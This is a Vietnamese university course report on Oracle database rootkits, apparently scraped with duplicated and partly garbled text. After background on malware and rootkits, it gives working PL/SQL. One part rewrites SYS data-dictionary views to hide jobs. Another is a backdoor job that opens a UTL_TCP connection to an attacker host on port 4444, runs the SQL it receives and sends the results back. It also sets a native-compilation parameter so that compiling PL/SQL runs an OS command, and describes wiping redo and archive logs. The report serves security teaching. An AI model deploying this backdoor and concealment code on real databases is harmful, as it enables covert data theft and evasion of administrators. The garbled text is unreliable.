Tấn công rootkit trong Oracle Rootkit trong OS không còn xa lạ với chúng ta. Chúng đã được các kẻ xâm nhập sử dụng để che giấu các dấu vết từ rất lâu. Tuy nhiên, không phải ai cũng biết rằng rootkit còn có thể được sử dụng và đang được các hacker sử dụng trong cơ sở dữ liệu, thường chứa các dữ liệu quan trọng của các công ty, tổ chức. Theo ước tính, khoảng 100 triệu người có thông tin cá nhân nằm trong tầm kiểm soát của tội phạm Internet. Lấy cắp thông tin đã trở thành một nguy cơ chính, thông tin đã trở thành mỏ vàng cho tội phạm. Thông tin cá nhân được chia thành nhiều loại với mức giá khác nhau. Ví dụ, thông tin về địa chỉ, số điện thoại, ngày sinh, số dịch vụ xã hội, số đăng ký băng lái… đều được đặt giá. Rất nhiều cơ sở dữ liệu của các công ty lớn bị xâm phạm. Nhất là các ngân hàng, nhà băng, dịch vụ thẻ thanh toán như CardSystems, Citigroup, Bank of America, DSW Shoe Warehouse… đều đã bị tội phạm nhòm ngó và gây ra thiệt hại nhất định. Oracle là hãng dẫn đầu trong thị trường cơ sở dữ liệu và thường được sử dụng ở các cơ quan, tổ chức lớn. Với khối lượng dữ liệu lớn và quan trọng. Không nghi ngờ gì, Oracle đã trở thành đích ngắm hấp dẫn trong các cuộc tấn công. Oracle database rootkit là hướng tấn công khá mới. Rootkit được cài đặt sau khi đã đột nhập thành công vào một Oracle database, để che giấu mọi dấu vết của cuộc đột nhập, và trở thành tấm bình phong che chắn sự hiện diện của attacker trong database. Người quản trị sẽ khó lòng biết được database của mình có đang bị nhìn ngó hay bị tấn công hay không, dù có sử dụng các công cụ tìm kiếm rootkit. Và vì thế không có biện pháp cải thiện hay áp dụng phương pháp tự bảo vệ, qua một thời gian dài thiệt hại sẽ rất đáng kể. Khi mà cơ sở dữ liệu là một tài nguyên vô cùng quan trọng có ý nghĩa sống còn đối với doanh nghiệp, tổ chức.
HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN BÀI TẬP LỚN MÔN: AN TOÀN CƠ SỞ DỮ LIỆU TẤN CÔNG ROOTKIT TRONG ORACLE Giảng viên hướng dẫn: Trần Thị Lượng Sinh viên thực hiện: Nguyễn Việt Tiến Phạm Quốc Đạt Mai Trọng Hoàng Hoàng Quang Thụy Lớp: AT9A HÀ NỘI 2016 HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN Bài tập lớn môn: An toàn sở liệu TẤN CÔNG ROOTKIT TRONG ORACLE Nhận xét giảng viên: Điểm chuyên cần: Điểm báo cáo: MỤC LỤC LỜI NÓI ĐẦU Rootkit OS không xa lạ với Chúng kẻ xâm nhập sử dụng để che giấu dấu vết từ lâu Tuy nhiên, biết rootkit sử dụng hacker sử dụng sở liệu, thường chứa liệu quan trọng công ty, tổ chức Theo ước tính, khoảng 100 triệu người có thông tin cá nhân nằm tầm kiểm soát tội phạm Internet Lấy cắp thông tin trở thành nguy chính, thông tin trở thành mỏ vàng cho tội phạm Thông tin cá nhân chia thành nhiều loại với mức giá khác Ví dụ, thông tin địa chỉ, số điện thoại, ngày sinh, số dịch vụ xã hội, số đăng ký băng lái…đều đặt giá Rất nhiều sở liệu công ty lớn bị xâm phạm Nhất ngân hàng, nhà băng, dịch vụ thẻ toán CardSystems, Citigroup, Bank of America, DSW Shoe Warehouse … bị tội phạm nhòm ngó gây thiệt hại định Oracle hãng dẫn đầu thị trường sở liệu thường sử dụng quan, tổ chức lớn Với khối lượng liệu lớn quan trọng Không nghi ngờ gì, Oracle trở thành đích ngắm hấp dẫn công Oracle database rootkit hướng công Rootkit cài đặt sau đột nhập thành công vào Oracle database, để che giấu dấu vết đột nhập, trở thành bình phong che chắn diện attacker database Người quản trị khó lòng biết database có bị nhìn ngó hay bị công hay không, dù có sử dụng công cụ tìm kiếm rootkit Và biện pháp cải thiện hay áp dụng phương pháp tự bảo vệ, qua thời gian dài thiệt hại đáng kể Khi mà sở liệu tài nguyên vô quan trọng có ý nghĩa sống doanh nghiệp, tổ chức CHƯƠNG I: TỔNG QUAN VỀ ROOTKIT 1.1 Hiểu biết chung mã độc hại (Malware) Thuật ngữ malware từ viết tắt malicious software Malware tạo với mục đích truy cập, chỉnh sửa phá hoại software khác máy tính Malware có nhiều loại: virus, worms, Trojans, backdoor, spyware…và biến thể khác xuất ngày Mục tiêu malware thông tin cá nhân, liệu, tài nguyên, máy tính… cách ghi dấu thói quen lướt Web bạn, chúng biết đề bạn quan tâm quảng cáo mà phù hợp với ý định bạn Những malware cho phép công ty quảng cáo thiết kế pop up nắm bắt mục đích cá nhân Xa nữa, malware điều khiển nội dung hiển thị trình duyệt bạn Đó hijacking Các nội dung tìm kiếm hiển thị bạn bị hijacking sang trang mà malware định Điều đưa đến nhiều phiền toái với pop up liên tục nhảy ra, tệ cở thể chứa virus, worm mà vô tình kích phải chúng xâm nhập máy tính bạn Mục tiêu thứ ba, thông tin cá nhân Những thông tin dùng để đăng nhập tìa khoản ngân hàng, chuyển tiền, rút tiền Nếu bạn dùng password, hacker dùng chương trình giải mã mật Hoặc giả chương trình an ninh, dụ bạn cài vào mà có chương trình keylogger, spyware…sẵn sang lấy cắp thông tin bạn Cuối cùng, hacker lợi dụng tài nguyên hệ thống vào mục đích công hệ thống khác, ẩn nấp sau hệ thống bạn nhằm che giấu hành tung Để thực mục đích này, malware thực dễ dang có trợ giúp rootkit Vì malware cài đặt rootkit vào máy, tới lượt rootkit che giấu hành vi malware Thực tế, rootkit xấu hay tốt mục đích mà sử dụng 1.2 Khái niệm Rootkit 1.2.1 Lịch sử Rootkit Kỹ thuật Rootkit thực Nó tồn gần mười năm Đầu tiên phát triển hệ điều hành Unix-like (Solaris Linux) sau Windows Rootkit công khai Windows vào năm 1999 Greg Hoglund - chuyên gia bảo mật người lập trình website rootkit.com Thuật ngữ rootkit bắt nguồn từ root - mức truy nhập cao vào hệ thống, có quyền admin từ kit - tập công cụ để che giấu chiếm quyền Việc phát Sony Rootkit (rootkit quản lý quyền số) vởi Mark Rusonovich Sysinternal khiến rootkit quan tâm cách đặc biệt nhiều người bắt đầu tìm hiểu hoạt động Cho tới kiện đó, rootkit khêu gợi tò mò hiểm hòa cận kề Sự kiện Sony Rootkit xảy ngày 31/10/2005 đưa rootkit thành trung tâm ý Nó chứng tỏ, hãng nghiên cứu phát triển kỹ thuật rootkit qui củ Sau kiện này, Sony phải tiến hành gỡ bỏ rootkit đĩa CD tốn khoản bồi thường không Sự kiện cho trước sau xảy ra, mà nhà cung cấp bảo mật đưa nhiều biện pháp để chống lại kiểu nguy có thể, những người tạo malware tương ứng đáp lại kỹ thuật ăn cắp tinh ranh Bằng cách sử dụng rootkit khả lút nó, hacker máy tính tìm cách hiệu để công Các chương trình che giấu rootkit cho thấy nguy cận kề an ninh mạng Thực tế, ngày 6/12/2005 tạp chí eweek công bố có tới 20% malware bị phát Windows XP SP2 rootkit tổng số malware 14%, thời điển kiện Sony Rootkit số 8% 1.2.2 Định nghĩa Rootkit Rootkit /ru:tkit/ công cụ phần mềm che giấu tồn tập tin thực hoạt động Rootkit thường bên thứ ba (thường kẻ xâm nhập) dùng sau chiếm quyền truy cập vào hệ thống máy tính Các công cụ thường nhằm để che dấu liệu hệ thống, tập tin tiến trình chạy, từ giúp cho kẻ xâm nhập trì quyền truy cập vào hệ thống mà người dùng Rootkit có nhiều loại hệ điều hành Linux, Solaris phiên Microsoft Windows Một máy tính bị cài rootkit gọi bị "chiếm quyền root" ("rooted" tiếng Anh) Thuật ngữ "rootkit" (còn viết "root kit") lúc đầu dùng để công cụ Unix biên dịch lại "ps", "netstat", "w" and "passwd" che dấu kĩ lưỡng vết tích kẻ xâm nhập mà bình thường bị hiển thị lệnh trên, cho phép kẻ xâm nhập trì quyền "root" ("siêu người dùng") hệ thống mà người quản trị hệ thống thấy họ Ngày thuật ngữ không giới hạn hệ điều hành dựa Unix mà dùng để công cụ thực tác vụ tương tự hệ điều hành không Unix Microsoft Windows (ngay hệ điều hành tài khoản "root") 1.3 Cách thức hoạt động Rootkit Sự xuất Rootkit máy tính hay mạng cho thấy khả bị vi phạm hệ thống mà bạn phải làm việc tin tưởng lỗ hổng an ninh lớn Không nghi ngờ nữa, rootkit có khả quanh quẩn để thực nhiệm vụ mà nhờ tạo Vậy làm rootkit lợi hại vậy? Đó nhờ lợi dụng tính mềm dẻo linh hoạt kiến trúc Windows Phần tìm hiểu cách thức ẩn nấp hoạt động Rootkit 1.3.1 Chiếm quyền điều khiển Bất kỳ user hay chương trình cần truy vấn hệ thống, kết trả mặc định tin tưởng không gợn chút nghi Rootkit lợi dụng tin tưởng Đầu tiên phải chiếm quyền quản trị hệ thống để điều khiện hệ thống làm cho Vì chiếm quyền admin bước vô quan trọng định 1.3.2 Kỹ thuật Hooking Là kỹ thuật mà Rootkit sử dụng để thay đổi đường dẫn thực thi hệ điều hành - chặn lời gọi hệ thống điều chỉnh kết cho dấu vết tồn Hook chuyển hướng chương trình bình thường, sang hàm rootkit thay hàm hệ thống Cả kernel mode user mode rootkit sử dụng kỹ thuật hooking để lọc kết trả OS giấu tồn Các chương trình phân tích quét không phát thông tin tồn Registry, port mà rootkit sử dụng Đó chương trình dựa thông tin lấy từ OS Chúng ta không phát rootkit thông qua công cụ Task Manager, windows explorer hay regedit Windows sử dụng table để lưu trữ ghi dấu thông tin quan trọng Các table bị hook, thay đổi bẻ gẫy rootkit User mode kernel mode rootkit sử dụng kỹ thuật hook loại bị hạn chế mà chúng hook phạm vi hoạt động chúng User mode rootkit hook table phạm vi không gian địa dành cho user(các bảng IAT, EAT) chèn jump vào API mức user để thay system call sang function rootkit Có hai kiểu hook priviledge hook unpriviledge hook User mode rootkit unpriviledge, kernel mode rootkit priviledge hook Ở kiểu hook khác quyền hệ thống sử dụng kỹ thuật hook giống Kỹ thuật hooking API thay đổi địa API: user mode rootkit chặn lời gọi hàm API thay đổi địa API IAT thuộc tiến trình user, sau trỏ tời rootkit function thay Windows API functions Cả user mode kernel mode rootkit sử dụng API hooking để đảm bảo OS trả kết sàng lọc, vốn bỏ rơi tiết lộ rootkit hay tung tích User mode rootkit cho thể chỉnh sửa table thuộc chương trình user Mỗi chương trình user có IAT riêng chứa thông tin function mà kernel thực cho Để hiệu quả, user mode rootkit phải tìm cách để thay đổi table user program điều khiển chương trình sửa chạy để cỏ thể hook API tương ứng chương trình Rootkit không thiết phải hook API, API liên quan tới Ví dụ hook API Task Manager dùng để liệt kê process API mà dùng Windows Explorer để liệt kê danh sách file, folder Và phải hook API tiến trình kích hoạt nên user mode rootkit hiệu kernel mode rootkit Kernel mode rootkit cần hook cấu trúc mà tất user program sử dụng 1.4 Phân loại Rootkit Rootkit phân chia thành hai loại: user mode, kernel mode rootkit phụ thuộc vào phạm vi ảnh hưởng liệu chúng tồn nhớ hay sau khởi động lại (được ghi lên ổ đĩa) persiten non-persitent rootkit 1.4.1 User-mode rootkit kernel-mode rootkit Đây rootkit có chế điều khiển phạm vi ảnh hưởng lên hệ điều hành khác Cơ chế điều khiển thông qua đặc quyền mà giành đặc biệt quyền lớn, phạm vi ảnh hưởng tăng Bất kể chế độ nữa, rootkit dựa sở: chương trình giao tiếp với nhờ lời gọi hàm Tùy vào mức đặc quyền chương trình, tạo lời gọi trực tiếp tới kernel hay gián tiếp qua bên xử lý thứ ba đứng kernel Hay người ta gọi User mode kernel mode Rootkit mức user, mức đặc quyền thấp nhất, phải sử dụng giao diện ứng dụng chương trình API để gửi tới yêu cầu tới hệ thống Các lời gọi thông qua thư viện liên kết động mức user(DLL) để chuyển thành thông điệp mà kernel hiểu Thực tế chương trình mức user không tự chứa tất khả xử lý, phải tạo system call tới kernel Ví dụ, user click chuột OK, Windows chuyển thông tin thành system call để hệ thống xử lý Ngôn ngữ mà Window cung cấp để thực giao tiếp kernel chương trình mức user gọi API Để vận hành tốt hơn, chương trình user tạo bảng riêng chứa địa tất API system function mà cần gọi tới Bảng gọi IAT(import address table) Gián tiếp liên lạc với kernel làm hạn chế mức ảnh hưởng user mode rootkit Lợi điểm dễ tạo, không làm hệ thống bị treo hay gặp cố Nhưng để có kết định, user mode rootkit nhiều việc phải làm Kernel mode rootkit: Kernel phần mềm tương ứng với đơn vị xử lý trung tâm - não hệ điều hành, thành phần Kernel trì điểu khiển nhiều tài nguyên quan trọng, hàm thông tin nhớ, an ninh, lập lịch xử lý, giao tiếp phần cứng tất ứng dụng tất chương trình phải tương tác với kernel theo cách Và rootkit thao túng kernel, vị trí điều khiển tất Không giống user mode rootkit hoạt động Ring 3, kernel mode rootkit hoạt động Ring 0, tương tác trực tiếp với kernel Kernel mode rootkit cài đặt driver chuyển hướng system function call sang mã lập trình để thi hành 1.4.2 Persistent non-persistent rootkit Persistent rootkit: để tồn sau hệ thống khởi động rootkit phải thay đổi nội dung ổ cứng: rootkit chèn thêm mục autostart Registry, nhờ load vào nhớ tự động thực thi lần máy tính khởi động Dù thay đổi vật lý làm tăng khả bị phát nhiều tiện ích hệ thống chương trình quét malware lại bỏ qua rootkit Non-persistent rootkit: tồn nhớ hệ thống khởi động lại Các chương trình mà bỏ qua việc quét nơi lưu trữ vật lý không phát rootkit Non-persister rootkit đe dọa tới mà việc khởi động lại máy tính thường xuyên Nhưng mạng server với hàng trăm máy tính client, việc reboot thường Các rootkit nằm nhớ thường lợi dụng điểm này, nữa, rootkit kiểu không để lại manh mối vật lý để bị phát 10 Hình 11: Đường dẫn thực thi sau thực Rootkit 2.4.3 Thay đổi package PL/SQL Các source code package dễ bị chỉnh sửa Hầu hết package Oracle tạo wrap bảo vệ không bị chỉnh sữa Đây lỗ hổng mà rootkit sử dụng để hoạt động Thông thường, sau tạo thủ tục lưu trữ, truy cập mã nguồn thông qua bảng SOURCE sau: SQL>SELECT text FROM USER_SOURCE SQL>WHERE name =’WRAPTEST’ order by line; Kết quả: PROCEDURE wraptest IS TYPE emp_tab IS TABLE OF emp%ROWTYPE INDEX BY PLS_INTEGER; All_emps emp_tab; BEGIN SELECT*BULK COLLECT INTO all_emps FROM emp; FOR i IN 10 LOOP DBMS_OUTPUT.PUT_LINE(Emp Id: ‘|| all_emps(i).empno); END LOOP END; 31 Làm để tránh điều này? Nhiều lập trình viên Oracle không load procedure vào database mà đặt vào file SQL server thực từ xa Bất kỳ truy nhập tới server đọc file này, cách bạn phần hạn chế truy nhập theo ý Còn trường hợp code để database nên wrap thành một phần package Wrapping phương pháp thay đổi mã PL/SQL dạng rõ thành ký tự mà Oracle đọc Như vậy, biên dịch thực bình thường, mà bảo vệ an toàn Nhưng hacker dùng công cụ wrap unwap để sửa đổi lại mã procedure, package với phiên Oracle không sử dụng checksum 2.4.4 PL/SQL Native compilation Khi tạo chương trình PL/SQL Oracle 8i, Oracle lưu source code byte code compile vào data dictionary Phân tích kiểm duyệt tạo byte code diễn tạo object Khi thực thi chương trình PL/SQL interpreter database server đọc byte code thực lệnh vận hành định Điều tránh phải phân tích, kiểm tra cú pháp bước khác thời điểm runtime Sang Oracle 9i, có thêm lựa chọn biên dich PL/SQL native thay tạo byte code cho interpreter Bắt đầu từ Oracle 9i biên bịch procedure PL/SQL sang mã máy database server Oracle thông báo sử dụng procedure biên dịch sang ngôn ngữ nguyên thủy giúp giảm thời gian làm việc với PL/SQL tới 10 lần Khi tạo chương trình PK/SQL có native compilation, Oracle lưu source code data dictionary thực việc phân tích kiểm duyệt bình thường tạo object Nếu code hợp lệ, code tạo file nguồn C gọi trình biên dịch linker C để tạo file thư viện chia sẻ cho chương trình PL/SQL Nghĩa file dll/ lib thực thi thay package PL/SQL ban đầu Trong đó, trước phiên 10g, Oracle không quản lý gile hệ thống file OS Kể từ 10g, file ddl/ lib lưu database Nhưng đủ để thực số thao tác định Khá dễ dàng sử dụng PL/SQL native để thực thi lệnh OS thông qua lệnh ‘alter system’ Ví dụ: Alter system set plsql_native_make_utility=’calc.exe’; Alter system set 32 Plsql_native_make_file_name=’c:\temp\mymakefile.mk’; Alter system set plsql_native_library_dir=’c:\temp\plsql_libs’; Sau lần biên dịch mã PL/SQL, Oracle bắt đầu trình biên dịch PL/SQL, tức gọi tới tiện ích calculator Windows Ví dụ, cài đặt backdoor package my procedure Biên dịch sang mã máy Được file c dll Hình 12: Sử dụng PL/SQL Sau đó, gỡ backdoor khỏi package, biên dich lại lần thay file biên dich phiên backdoor trước Package database không bị backdoor lần gọi tới package, backdoor hacker lại chạy 33 Hình 13: Sử dụng PL/SQL 2.5 Mô tả công Oracle sử dụng Rootkit kết hợp với Backdoor Để lấy liệu từ database, cách thức phù hợp kết hợp rootkit database backdoor database Backdoor cho phép attacker thực câu lệnh truy vấn database từ xa nhận hồi đáp từ server Attacker rõ ràng không muốn hành vi bị DBA phát hiện, attacker thường kết hợp cài backdoor với rootkit để che giấu hoạt động backdoor Ở tạo chương trình backdoor, sử dụng chức network có sẵn để mở kết nối tới vị trí attacker Chương trình đọc kết nối thực câu lệnh attacker gửi tới Sau gửi lại kết thực câu lệnh Chương trình backdoor lập lịch, sử dụng chức job để kết nối bị database instance bị restart attacker kết nối thời điểm sau Để tránh bị phát hiện, kết nối backdoor attacker mã hóa đóng gói theo cách nhằm tránh phát hệ thống IDS, IPS Backdoor cài đặt database server, backdoor console chạy host attacker giao tiếp qua giao thức TCP/IP Backdoor console lắng nghe TCP port xác định trước, đợi kết nối từ backdoor 34 Chúng ta tạo rootkit backdoor mã PL/SQL 2.5.1 Tạo rootkit Oraclerootkit.sql Mã tạo function để chỉnh sửa data dictionary view Dba_jobs, dba_jobs_running, Ku$_job_view để che giấu backdoor job Function inject vào lỗ hổng SQL injection Code ẩn connection backdoor backdoor console: CREATE OR REPLACE FUNCTION ins_rootkit RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN Code ẩn connection backdoor backdoor console sys.dba_jobs: EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB", "LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL", "FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER, LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC, THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC, (total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME, decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN, INTERVAL# interval, FAILURES, WHAT, nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; Code ẩn connection backdoor backdoor console sys.dba_jobs_running: 35 EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING" ("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "INSTANCE") AS select v.SID, v.id2 JOB, j.FAILURES, LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC, THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, j.field1 INSTANCE from sys.job$ j, v$lock v where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; Code ẩn connection backdoor backdoor console sys.ku$_job_t: EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF "SYS"."KU$_JOB_T" WITH OBJECT IDENTIFIER (powner_id) AS select ''1'',''0'', u.user#, j.powner, j.lowner, j.cowner, j.job, TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''), j.flag, j.failures, REPLACE(j.interval#, '''''''', ''''''''''''), REPLACE(j.what, '''''''', ''''''''''''), REPLACE(j.nlsenv, '''''''', ''''''''''''), j.env, j.field1, j.charenv from sys.job$ j, sys.user$ u where j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%'''; COMMIT; RETURN ''; END; 36 2.5.2 Tạo OracleBackdoor.sql Mã tạo function thực job đọc command từ host attacker, thực thi chúng gửi command output trở cho attacker Tạo function ins_backdoor thực thi với quyền user gọi nó, function có đặc tính autonomous transaction để sau sử dụng SQL injection CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; job_id NUMBER; BEGIN Đưa job sử dụng chức job package dbms_job Để kết nối tcp/ip với backdoor console sử dụng package chuẩn utl_tcp Oracle: DBMS_JOB.SUBMIT(job_id, 'DECLARE l_cn UTL_TCP.CONNECTION; l_ret_val PLS_INTEGER; l_sqlstm VARCHAR2(32000); l_thecursor INTEGER; l_columnvalue VARCHAR2(2000); l_status INTEGER; l_colcnt NUMBER DEFAULT 0; l_desc_t DBMS_SQL.DESC_TAB; BEGIN Mở kết nối tới host attacker nơi đặt backdoor console Trong scritp 192.168.2.100, TCP port 4444 l_cn := UTL_TCP.OPEN_CONNECTION(''192.168.2.100, 4444,1521); Lấy thông tin database gửi qua kết nối TCP dạng XML: SELECT DBID, NAME INTO l_colcnt, l_sqlstm FROM V$DATABASE; SELECT banner INTO l_columnvalue FROM V$VERSION WHERE ROWNUM = 1; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); 37 LOOP l_sqlstm := UTL_TCP.GET_LINE(l_cn, TRUE); EXIT WHEN UPPER(l_sqlstm) = ''EXIT''; BEGIN l_thecursor := DBMS_SQL.OPEN_CURSOR; Nếu câu lệnh SQL nhận Select, lấy tất tên cột gửi chúng để backdoor console hiển thị column header tập trung IF(SUBSTR(LTRIM(UPPER(l_sqlstm)), 1, 7)) = ''SELECT '' THEN DBMS_SQL.PARSE(l_thecursor, l_sqlstm, DBMS_SQL.NATIVE); DBMS_SQL.DESCRIBE_COLUMNS(l_thecursor, l_colcnt, l_desc_t); FOR i IN l_colcnt LOOP l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''' || l_desc_t(i).col_name); DBMS_SQL.DEFINE_COLUMN(l_thecursor, i, l_columnvalue, 2000); END LOOP; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); DBMS_SQL.DEFINE_COLUMN(l_thecursor, 1, l_columnvalue, 2000); l_status := DBMS_SQL.EXECUTE(l_thecursor); LOOP EXIT WHEN(DBMS_SQL.FETCH_ROWS(l_thecursor) [...]...CHƯƠNG II: TẤN CÔNG ROOTKIT TRONG ORACLE Oracle database và OS khá tương đồng với nhau về mặt cấu trúc Cả Oracle database và OS đều có user, process, job, executable và symbolic link Vì vậy, hacker có thể lợi dụng sự tương đồng này để triển khai các rootkit cũng như các mã độc khác như virus từ phạm vi của OS sang lãnh địa của Oracle database Một số tương đồng về command và object giữa Oracle và OS*Nix... đấy nhằm tránh sự phát hiện của hệ thống IDS, IPS Backdoor cài đặt trên database server, còn backdoor console chạy trên host của attacker sẽ giao tiếp qua giao thức TCP/IP Backdoor console lắng nghe trên một TCP port xác định trước, đợi kết nối từ backdoor 34 Chúng ta sẽ tạo các rootkit và backdoor bằng mã PL/SQL 2.5.1 Tạo rootkit Oraclerootkit.sql Mã này sẽ tạo một function để chỉnh sửa data dictionary... DBA_USERS Oracle sẽ phân giải tên object user_name này như thế nào? Đầu tiên Oracle kiểm tra xem liệu có một local object(table hay là view) là DBA_USERS Nếu có, object này được dùng cho query Nếu không Oracle tiếp tục tìm một private synonym có tên như vậy nếu không có nó sẽ kiểm tra một public synonym Dựa trên cấu trúc của đường dẫn thực thi của Oracle, sẽ có một số cách có thể cho việc thi hành một rootkit. .. PL/SQL 2.5 Mô tả tấn công Oracle sử dụng Rootkit kết hợp với Backdoor Để lấy dữ liệu từ database, cách thức phù hợp nhất là kết hợp rootkit database và backdoor database Backdoor cho phép attacker thực hiện câu lệnh và truy vấn database từ xa và nhận hồi đáp từ server Attacker rõ ràng không muốn các hành vi của mình bị DBA phát hiện, vì vậy attacker thường kết hợp cài backdoor với rootkit để che giấu... Alter system switch logfile; Sau khi cài đặt rootkit, rootkit cần switch các redo log file trong tất cả redo lg group để nội dung trong đó bị thay đổi nếu database có thiết lập chế độ archive log, cần phải xóa tất cả archive file gần nhất bằng package utl_file_fremove 2.4 Cách thức tấn công của Rootkit 2.4.1 Thay đổi view source bằng cách modify binary Oracle lưu các thông tin về username, job, process... runtime Sang Oracle 9i, có thêm sự lựa chọn biên dich PL/SQL native thay vì tạo các byte code cho interpreter Bắt đầu từ Oracle 9i chúng ta có thể biên bịch các procedure PL/SQL sang mã máy trên database server Oracle thông báo rằng sử dụng procedure được biên dịch sang ngôn ngữ nguyên thủy sẽ giúp giảm thời gian làm việc với PL/SQL tới 10 lần Khi tạo một chương trình PK/SQL có native compilation, Oracle. .. dbms_metadata của Oracle để lấy mã nguồn (DDL) này Thực tế Oracle đưa ra package dbms_metadata nhằm làm đơn giản hóa một số công việc trong database mà cần phải trích (extract) thông tin về các table, index từ Oracle và chueyenr chúng sang hệ thống khác Việc trích DDL của các schema object từ dictionary sẽ rất hữu ích khi phải chuyển sang hệ thống mới và muốn có lại cá object đó trong tablespace miows Oracle. .. PL/SQL dạng rõ thành các ký tự mà chỉ Oracle đọc được Như vậy, nó vẫn được biên dịch và thực hiện như bình thường, mà vẫn được bảo vệ an toàn Nhưng hacker có thể dùng các công cụ wrap và unwap để sửa đổi lại mã các procedure, package với các phiên bản Oracle không sử dụng checksum 2.4.4 PL/SQL Native compilation Khi tạo một chương trình PL/SQL trong Oracle 8i, Oracle lưu cả source code và byte code... được khởi hoạt và thất bại kể từ lần thành công sau cùng ID của instance chạy job ID của job đang chạy Ngày gần nhất mà job chạy thành công Tương tự như last_date,đó là lần thực hiện thành công gần nhất ID của tiến trình đang thực hiện job Ngày mà job bắt đầu thực hiện(thường là null nếu không đang thực hiện) Giống như this_date Đó là lần thực hiện thành công cuối cùng Bảng 3: View dba_jobs_running... từ socket Bảng 11: Utl_tcp 2.3 Nhiệm vụ của Rootkit 2.3.1 Ẩn tài khoản truy nhập User oracle được lưu trong table SYS.USER$ cùng với database role User có flag TYPE#=1 và roll có flag TYPE#=0 Để việc truy nhập dễ dàng hơn và đảm bảo tính tương thích với các phiên bản trước Oracle đưa ra 2 view là DBA_USER$ thông qua public synonym Hầu hết các DBA và các công cụ sử dụng các view này để truy nhập table